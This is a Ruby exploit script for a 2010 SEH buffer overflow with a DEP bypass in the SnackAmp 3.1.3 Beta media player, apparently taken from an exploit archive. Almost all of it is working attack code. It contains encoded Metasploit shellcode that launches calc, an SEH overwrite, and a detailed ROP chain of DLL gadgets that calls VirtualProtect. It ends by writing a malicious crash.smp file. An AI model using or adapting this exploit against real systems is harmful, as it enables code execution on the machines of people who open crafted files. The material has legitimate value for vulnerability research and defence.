119 lines
No EOL
5.1 KiB
Ruby
Executable file
119 lines
No EOL
5.1 KiB
Ruby
Executable file
# Exploit Title: SnackAmp 3.1.3B Malicious SMP Buffer Overflow Vulnerability (SEH - DEP BYPASS)
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# Date: 09/24/10
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# Author: Muhamad Fadzil Ramli - mind1355 [AT] gmail [DOT] com
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# Credit/Bug Found By: james [AT] learnsecurityonline [DOT] com
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# Software Link: http://sourceforge.net/projects/snackamp/
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# Version: 3.1.3 Beta
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# Tested on: Windows XP SP3 EN (Virtualbox 3.2.8 R64453)
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# CVE: N/A
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# GREETZ: Intranium Sdn Bhd (Security Team)
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# : corelanc0d3r - Great Tutorial
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#
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#! /usr/bin/env ruby
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# windows/exec - 144 bytes
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# http://www.metasploit.com
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# Encoder: x86/shikata_ga_nai
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# EXITFUNC=seh, CMD=calc
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payload = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc"
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payload << "\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78"
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payload << "\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85"
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payload << "\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5"
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payload << "\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c"
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payload << "\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21"
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payload << "\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5"
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payload << "\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27"
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payload << "\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3"
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payload << "\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53"
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payload << "\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f"
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payload << "\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6"
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payload << "\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8"
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payload << "\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
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payload << "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f"
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payload << "\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca"
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junk1 = "A" * 13864
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seh = [0x004659C1].pack('V') # ADD ESP, 428 # RETN [Module : snackAmp.exe]
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ret = [0x014E101F].pack('V') * 50 # RETN [Module : pngtcl10.dll]
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# ROP 1
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rop1 = ''
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rop1 << [0x71ABDAC3].pack('V') # PUSH ESP # POP ESI # RETN [Module : WS2_32.dll]
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#rop1 << [0x014E1265].pack('V') # MOV EAX, ESI # POP ESI # RETN [Module : pngtcl10.dll]
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#rop1 << "DEAD" # PADDING
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rop1 << [0x014F08B1].pack('V') # ADD ESP, 20 # RETN [Module : pngtcl10.dll]
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# END
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# VIRTUALPROTECT PARAMETERS
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params = ''
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params << [0x7C801AD4].pack('V') # VirtualProtect
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params << 'WWWW' # return address (param1)
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params << 'XXXX' # lpAddress (param2)
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params << 'YYYY' # Size (param3)
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params << 'ZZZZ' # flNewProtect (param4)
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params << [0x014F5005].pack('V'); # writeable address
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params << 'DEAD' * 2 # PADDING
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# END
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# ROP 2
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# PARAM 1
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rop2 = ''
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rop2 << [0x014E1265].pack('V') # MOV EAX, ESI # POP ESI # RETN [Module : pngtcl10.dll]
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rop2 << "DEAD"
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rop2 << [0x77037BFA].pack('V') # PUSH EAX # POP ESI # POP EBX # RETN [Module : CLBCATQ.DLL]
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rop2 << "DEAD"
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rop2 << [0x014F2860].pack('V') * 10 # ADD EAX, 20 # RETN [Module : pngtcl10.dll]
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rop2 << [0x71ABC7E8].pack('V') # MOV DWORD PTR DS:[ESI+8], EAX # MOV EAX, ESI # POP ESI # POP EBP # RETN 4 [Module : WS2_32.dll]
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rop2 << "DEAD" * 2
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# END
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# PARAM 2
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rop2 << [0x77037BFA].pack('V') # PUSH EAX # POP ESI # POP EBX # RETN [Module : CLBCATQ.DLL]
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rop2 << "DEAD" * 2
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rop2 << [0x014F2860].pack('V') * 10 # ADD EAX, 20 # RETN [Module : pngtcl10.dll]
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rop2 << [0x75F991D3].pack('V') * 4 # INC ESI # RETN [Module : browseui.dll]
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rop2 << [0x71ABC7E8].pack('V') # MOV DWORD PTR DS:[ESI+8], EAX # MOV EAX, ESI # POP ESI # POP EBP # RETN 4 [Module : WS2_32.dll]
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rop2 << "DEAD" * 2
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# END
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# PARAM 3
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rop2 << [0x77037BFA].pack('V') # PUSH EAX # POP ESI # POP EBX # RETN [Module : CLBCATQ.DLL]
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rop2 << "DEAD" * 2
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rop2 << [0x014E1248].pack('V') # XOR EAX, EAX # RETN [Module : pngtcl10.dll]
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rop2 << [0x77C4EC2B].pack('V') # ADD EAX, 100 # POP EBP # RETN [Module : MSVCRT.dll]
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rop2 << "DEAD"
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rop2 << [0x77C4EC2B].pack('V') # ADD EAX, 100 # POP EBP # RETN [Module : MSVCRT.dll]
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rop2 << "DEAD"
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rop2 << [0x77C4EC2B].pack('V') # ADD EAX, 100 # POP EBP # RETN [Module : MSVCRT.dll]
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rop2 << "DEAD"
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rop2 << [0x75F991D3].pack('V') * 4 # INC ESI # RETN [Module : browseui.dll]
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rop2 << [0x71ABC7E8].pack('V') # MOV DWORD PTR DS:[ESI+8], EAX # MOV EAX, ESI # POP ESI # POP EBP # RETN 4 [Module : WS2_32.dll]
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rop2 << "DEAD" * 2
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# END
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# PARAM 4
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rop2 << [0x77037BFA].pack('V') # PUSH EAX # POP ESI # POP EBX # RETN [Module : CLBCATQ.DLL]
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rop2 << "PPPP" * 2
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rop2 << [0x014E1248].pack('V') # XOR EAX, EAX # RETN [Module : pngtcl10.dll]
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rop2 << [0x76CA8BBF].pack('V') # ADD EAX, 40 # RETN [Module : IMAGEHLP.dll]
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rop2 << [0x75F991D3].pack('V') * 4 # INC ESI # RETN [Module : browseui.dll]
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rop2 << [0x71ABC7E8].pack('V') # MOV DWORD PTR DS:[ESI+8], EAX # MOV EAX, ESI # POP ESI # POP EBP # RETN 4 [Module : WS2_32.dll]
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rop2 << "DEAD" * 2
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# END
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# POINT ESP TO VIRTUALPROCTECT
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rop2 << [0x775D1381].pack('V') # SUB EAX, 4 # RETN [Module : ole32.dll]
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rop2 << "DEAD"
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rop2 << [0x775D1381].pack('V') # SUB EAX, 4 # RETN [Module : ole32.dll]
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rop2 << [0x5B886978].pack('V') # XCHG EAX, ESP # RETN [Module : NETAPI32.dll]
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# END
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nops = "\x90" * 150
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junk2 = "C" * (20000 - (junk1 + seh + ret + rop1 + params + rop2 + nops + payload).length)
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xploit = junk1 + seh + ret + rop1 + params + rop2 + nops + payload + junk2
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File.open("crash.smp", 'w') do |fd|
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fd.write xploit
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puts "file size: " + xploit.length.to_s
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end |